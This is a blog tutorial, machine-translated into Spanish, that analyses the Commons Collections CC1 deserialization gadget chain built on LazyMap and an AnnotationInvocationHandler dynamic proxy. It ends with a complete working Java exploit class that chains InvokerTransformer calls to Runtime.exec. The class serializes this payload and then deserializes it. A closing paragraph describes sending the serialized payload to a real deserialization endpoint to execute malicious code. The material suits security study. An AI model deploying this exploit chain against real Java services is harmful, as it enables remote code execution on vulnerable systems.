Análisis del código fuente de la cadena de utilización de CC1-LazyMap

Este artículo se basa en la cadena de exploits CC1 y la esencia es la misma: no es más que usar el método get de la clase LazyMap para activar la cadena de exploits. Antes de leer este artículo, debes comprender el principio del primero. Cadena CC1. Comprender la primera cadena, esta cadena equivale a comprender el 90%. Si no comprende la primera cadena de CC1, puede leer mi artículo primero:
https://blog.csdn.net/weixin_46367450/article/details/132274219

Alcance de la vulnerabilidad

JDk<=jdk8u65

colecciones-comunes <= 3.2.1

Preparación ambiental

El entorno de este tutorial: jdk1.7.0_75, commons-collections versión 3.2.1, maven (sin requisitos de versión), herramienta de desarrollo IDEA (sin requisitos de versión)

Debido a que las clases bajo el paquete Sun son necesarias en la cadena CC1 AnnotationInvocationHandler, pero el código fuente bajo el paquete Sun de la versión jdk7 descargada del sitio web oficial es un archivo de clase, y el paquete de código fuente debe estar preparado. Paquete de código fuente con anticipación y colóquelo en jdk1.7.0_75. Puede descargarlo desde aquí y usarlo directamente de acuerdo con la configuración que se muestra en la siguiente figura:

Enlace: https://pan.baidu.com/s/1wQjonrox8m6YroB8G24UYA?pwd=2mnm

Abra la estructura del proyecto para ingresar a la siguiente interfaz

imagen-20230813113113721

Análisis de código fuente

Revisión de la situación anterior

En mi último artículo, el análisis del código fuente escrito por CC1 usando la cadena EXP , lo llevé a encontrar la clase principal InvokerTransformer de CC1 usando la cadena aquí, que implementa

Interfaz Transformer, el transformador () del objeto InvokerTransformer puede implementar llamadas de reflexión a cualquier método de cualquier objeto, por lo que necesitamos averiguar quién llamó al método transformador. En el artículo anterior, descubrimos que hay un método en la clase TransformedMap. que llama a transform (), este artículo utilizará LazyMap, como se muestra en la figura:

imagen-20230814205124884

buscar obtener()

El método transformador() se llama en el método get() de LazyMap:

imagen-20230814205505134

Entonces podemos continuar buscando para ver quién llamó al método get():

imagen-20230814205642657

Después de buscar, descubrí que hay demasiados lugares para llamar a get (), así que verifiqué la información en Internet y descubrí que todavía existe en la clase AnnotationInvocationHandler:

imagen-20230814210115018

En esta clase AnnotationInvocationHandler, encontramos que hay un método invoke(), que simplemente llama al método get(). Al ver el método invoke(), podemos pensar en un proxy dinámico. El método invoke() en el proxy dinámico es fácil de conducirá a la explotación de vulnerabilidades. Sí, porque no importa a qué método llame un objeto proxy, llamará al método invoke() de InvocationHandlerd de forma predeterminada. Dado que existe una llamada predeterminada, es fácil conducir a la explotación de vulnerabilidades, que es similar a la llamada predeterminada al método readObject() en la deserialización.

Entonces necesitamos encontrar una manera de llamar al método. Analicemos el método invoke() nuevamente. Si queremos llegar al método get(), todavía hay condiciones. La condición es que el método a llamar no tenga parámetros.

imagen-20230815093547554

En el método readObject (), se llama al método get () sin parámetros y memberValues ​​​​es controlable, por lo que si el objeto es de tipo Mapa y el tipo de Mapa se entrega a un agente dinámico, cuando el llamadas de agente dinámico get Después del método (), llamará directamente al método de invocación del objeto InvocationHandler. Como se muestra en la imagen:

imagen-20230814211942540

Por lo tanto, cuando finalmente se realiza la deserialización, el método get () se puede activar. Lo siguiente que debemos hacer es construir un proxy dinámico y usar AnnotationInvocationHandler como procesador InvocationHandler:

 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        //传入构造好的lazyMap
        InvocationHandler h = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
        //构造动态代理
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{
    
    Map.class}, h);
//将mapProxy传给构造方法进行实例化
        Object o = constructor.newInstance(Retention.class, mapProxy);

Luego use el proxy dinámico construido como parámetro para usar la reflexión para crear una instancia usando el constructor de AnnotationInvocationHandler y luego serialice el resultado devuelto.

Resumen de ideas de la cadena LazyMap

Esta cadena es en realidad la misma que la cadena CC1 de mi artículo anterior. La principal característica especial es que utiliza el método de invocación del objeto InvocationHandler en el proxy dinámico para llamar al método get () que podemos usar . Por lo tanto, cuando encontramos que el método invoke() en el objeto InvocationHandler tiene métodos que podemos usar, como el método get() mencionado anteriormente, podemos crear un proxy dinámico y usar este InvocationHandler como controlador para el proxy dinámico. Cuando el proxy ejecuta el método del objeto que se va a representar, llamará automáticamente al método invoke (), entonces, ¿qué tipo de objeto es el proxy que será proxy por el proxy dinámico, porque readObject () lo tiene y memberValues? es controlable, porque el método EntrySet () memberValues.entrySet()es un método de la interfaz Map, por lo que si el objeto memberValues ​​​​es del tipo Map, se puede llamar, y si el objeto memberValues ​​​​es un objeto proxy dinámico, entonces Se puede llamar al método de invocación.

Por lo tanto, primero necesitamos construir un objeto InvocationHandler. Sin embargo, el objeto AnnotationInvocationHandler simplemente implementa InvocationHandler, por lo que se puede crear una instancia de AnnotationInvocationHandler a través de la reflexión. Al crear una instancia, el segundo parámetro se pasa a LazyMap y luego se coloca en el modo dinámico. proxy, y la interfaz que será proxy del proxy dinámico está configurada en Mapa, como se muestra en el siguiente código:

 //传入构造好的lazyMap
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
        //构造动态代理
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{
     
     Map.class}, invocationHandler);

Pase el objeto proxy dinámico creado al objeto AnnotationInvocationHandler. Cuando el objeto AnnotationInvocationHandler se deserializa, llamará al método EntrySet () del objeto proxy dinámico y luego llamará al método invoker () del objeto InvocationHandler en el proxy dinámico, por lo que ese uso completo

escritura EXP

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-14 17:33
 **/
public class CC1LazyMapEXP2{
    
    
    public static void main(String[] args) throws Exception {
    
    
        Transformer[] transformers = new Transformer[]{
    
    
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class},new Object[]{
    
    null,null}),
                new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("value","value");
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        //传入构造好的lazyMap
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
        //构造动态代理
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{
    
    Map.class}, invocationHandler);
        //将mapProxy传给构造方法进行实例化
        Object o = constructor.newInstance(Retention.class, mapProxy);
        ByteArrayOutputStream barr = serialize(o);
        UnSerialize(barr);
    }
    public static ByteArrayOutputStream serialize(Object o) throws Exception{
    
    
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        System.out.println(barr);
        return barr;
    }
    public static void UnSerialize(ByteArrayOutputStream barr) throws Exception{
    
    
        ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = oos.readObject();
        System.out.println(o);
    }
}

Uso práctico de las ideas.

Encuentre el punto de función que necesita deserializarse, envíe nuestra carga útil serializada al punto de función para su deserialización y luego forme una cadena de explotación CC1 para completar la ejecución del código malicioso.

Supongo que te gusta

Origin blog.csdn.net/weixin_46367450/article/details/132294968
Recomendado
Clasificación